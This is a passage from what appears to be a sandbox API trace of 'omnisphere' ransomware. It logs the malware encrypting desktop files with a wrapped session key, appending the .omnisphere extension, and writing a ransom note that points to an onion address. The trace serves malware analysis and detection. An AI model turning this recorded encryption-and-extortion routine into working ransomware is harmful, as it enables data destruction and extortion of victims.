pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.052] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.052] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.052] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.052] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.052] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.052] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.052] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.052] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.052] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.052] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.052] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.052] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.053] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.053] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.053] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.053] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.053] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.053] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.053] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.053] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.053] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.053] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.053] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.053] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.053] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.053] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.053] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.053] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.053] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.053] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.053] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.053] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.053] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.053] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.054] CryptDestroyKey (hKey=0x16396e8) returned 1 [0163.054] CryptReleaseContext (hProv=0x1668708, dwFlags=0x0) returned 1 [0163.054] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x10cc, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0163.054] WriteFile (in: hFile=0x39c, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0ebc4, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0ebc4*=0x524, lpOverlapped=0x0) returned 1 [0163.055] GetProcessHeap () returned 0x1600000 [0163.055] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x260) returned 0x164e4a0 [0163.055] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\1_FD.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\1_fd.mp4"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\1_FD.mp4.omnisphere" (normalized: "c:\\users\\fd1hvy\\desktop\\1_fd.mp4.omnisphere")) returned 1 [0163.058] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\1_FD.mp4.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\1_FD.mp4.omnisphere.id") returned="C:\\Users\\FD1HVy\\Desktop\\1_FD.mp4.omnisphere.id" [0163.058] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\1_FD.mp4.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\desktop\\1_fd.mp4.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0163.061] WriteFile (in: hFile=0x3bc, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e64c, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0e64c*=0x524, lpOverlapped=0x0) returned 1 [0163.062] CloseHandle (hObject=0x3bc) returned 1 [0163.064] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0163.064] CloseHandle (hObject=0x380) returned 1 [0163.064] SetEndOfFile (hFile=0x39c) returned 1 [0163.069] FlushFileBuffers (hFile=0x39c) returned 1 [0163.072] CloseHandle (hObject=0x39c) returned 1 [0163.073] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\Desktop\\1_FD.mp4" | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0163.073] GetProcessHeap () returned 0x1600000 [0163.073] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x164e708 [0163.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0163.073] GetProcessHeap () returned 0x1600000 [0163.073] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1733810 [0163.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1733810, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0163.073] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0163.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0163.073] GetProcessHeap () returned 0x1600000 [0163.073] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x174f2c0 [0163.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x174f2c0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0163.073] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0163.073] GetProcessHeap () returned 0x1600000 [0163.073] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6e) returned 0x164cf20 [0163.073] PathCombineW (in: pszDest=0x164cf20, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" [0163.073] GetProcessHeap () returned 0x1600000 [0163.073] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x176cfa0 [0163.074] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.074] WriteFile (in: hFile=0x39c, lpBuffer=0x176cfa0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0ebe4, lpOverlapped=0x0 | out: lpBuffer=0x176cfa0*, lpNumberOfBytesWritten=0x3e0ebe4*=0x588, lpOverlapped=0x0) returned 1 [0163.074] CloseHandle (hObject=0x39c) returned 1 [0163.079] GetProcessHeap () returned 0x1600000 [0163.079] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x164e708 | out: hHeap=0x1600000) returned 1 [0163.079] GetProcessHeap () returned 0x1600000 [0163.079] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x64) returned 0x163a730 [0163.079] PathCombineW (in: pszDest=0x163a730, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" [0163.079] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\desktop\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.079] WriteFile (in: hFile=0x39c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ebf8, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ebf8*=0x5a0, lpOverlapped=0x0) returned 1 [0163.079] CloseHandle (hObject=0x39c) returned 1 [0163.080] GetProcessHeap () returned 0x1600000 [0163.080] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a730 | out: hHeap=0x1600000) returned 1 [0163.080] GetProcessHeap () returned 0x1600000 [0163.080] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1634d28 | out: hHeap=0x1600000) returned 1 [0163.080] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b2b66b0, ftCreationTime.dwHighDateTime=0x1d4cad2, ftLastAccessTime.dwLowDateTime=0x8688d200, ftLastAccessTime.dwHighDateTime=0x1d4cd48, ftLastWriteTime.dwLowDateTime=0x8688d200, ftLastWriteTime.dwHighDateTime=0x1d4cd48, nFileSizeHigh=0x0, nFileSizeLow=0x8d08, dwReserved0=0x0, dwReserved1=0xf5, cFileName="2HMvxJbgu86g.mp3", cAlternateFileName="2HMVXJ~1.MP3")) returned 1 [0163.080] GetProcessHeap () returned 0x1600000 [0163.080] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x60) returned 0x1692128 [0163.080] PathCombineW (in: pszDest=0x1692128, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="2HMvxJbgu86g.mp3" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\2HMvxJbgu86g.mp3") returned="C:\\Users\\FD1HVy\\Desktop\\2HMvxJbgu86g.mp3" [0163.080] StrStrW (lpFirst=".omnisphere", lpSrch=".mp3") returned 0x0 [0163.080] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\2HMvxJbgu86g.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\2hmvxjbgu86g.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.080] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x3e0ebbc | out: lpFileSize=0x3e0ebbc*=36104) returned 1 [0163.080] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x87e4, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0163.080] ReadFile (in: hFile=0x39c, lpBuffer=0x3e0e664, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0ebac, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesRead=0x3e0ebac*=0x524, lpOverlapped=0x0) returned 1 [0163.081] GetTickCount () returned 0x1168804 [0163.081] GetTickCount () returned 0x1168804 [0163.081] GetTickCount () returned 0x1168804 [0163.081] GetTickCount () returned 0x1168804 [0163.081] GetTickCount () returned 0x1168804 [0163.081] GetTickCount () returned 0x1168804 [0163.081] GetTickCount () returned 0x1168804 [0163.081] GetTickCount () returned 0x1168804 [0163.082] GetTickCount () returned 0x1168804 [0163.082] GetTickCount () returned 0x1168804 [0163.082] GetTickCount () returned 0x1168804 [0163.082] GetTickCount () returned 0x1168804 [0163.082] GetTickCount () returned 0x1168804 [0163.082] GetTickCount () returned 0x1168804 [0163.082] GetTickCount () returned 0x1168804 [0163.082] GetTickCount () returned 0x1168804 [0163.082] GetTickCount () returned 0x1168804 [0163.082] GetTickCount () returned 0x1168804 [0163.082] GetTickCount () returned 0x1168804 [0163.082] GetTickCount () returned 0x1168804 [0163.082] GetTickCount () returned 0x1168804 [0163.082] GetTickCount () returned 0x1168804 [0163.082] GetTickCount () returned 0x1168804 [0163.082] GetTickCount () returned 0x1168804 [0163.082] GetTickCount () returned 0x1168804 [0163.082] GetTickCount () returned 0x1168804 [0163.082] GetTickCount () returned 0x1168804 [0163.082] GetTickCount () returned 0x1168804 [0163.082] GetTickCount () returned 0x1168804 [0163.082] GetTickCount () returned 0x1168804 [0163.082] GetTickCount () returned 0x1168804 [0163.082] GetTickCount () returned 0x1168804 [0163.082] CryptAcquireContextW (in: phProv=0x3e0e644, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e644*=0x1668d68) returned 1 [0163.083] CryptImportKey (in: hProv=0x1668d68, pbData=0x3e0e5ac, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e650 | out: phKey=0x3e0e650*=0x16394e8) returned 1 [0163.083] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x75, dwBufLen=0x80 | out: pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x80) returned 1 [0163.083] CryptDestroyKey (hKey=0x16394e8) returned 1 [0163.083] CryptReleaseContext (hProv=0x1668d68, dwFlags=0x0) returned 1 [0163.083] CreateFileMappingW (hFile=0x39c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8d08, lpName=0x0) returned 0x380 [0163.083] MapViewOfFile (hFileMappingObject=0x380, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8d08) returned 0x1480000 [0163.084] CryptAcquireContextW (in: phProv=0x3e0e634, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e634*=0x16683d8) returned 1 [0163.084] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0e5ec, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e644 | out: phKey=0x3e0e644*=0x1639968) returned 1 [0163.084] CryptSetKeyParam (hKey=0x1639968, dwParam=0x4, pbData=0x3e0e628*=0x2, dwFlags=0x0) returned 1 [0163.084] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e630*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e630*=0x10) returned 1 [0163.084] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.084] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.084] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.085] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.085] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.085] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.085] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.085] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.085] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.085] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.085] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.085] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.085] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.085] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.085] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.085] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.085] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.085] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.085] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.085] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.085] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.085] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.085] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.085] CryptEncrypt (in: 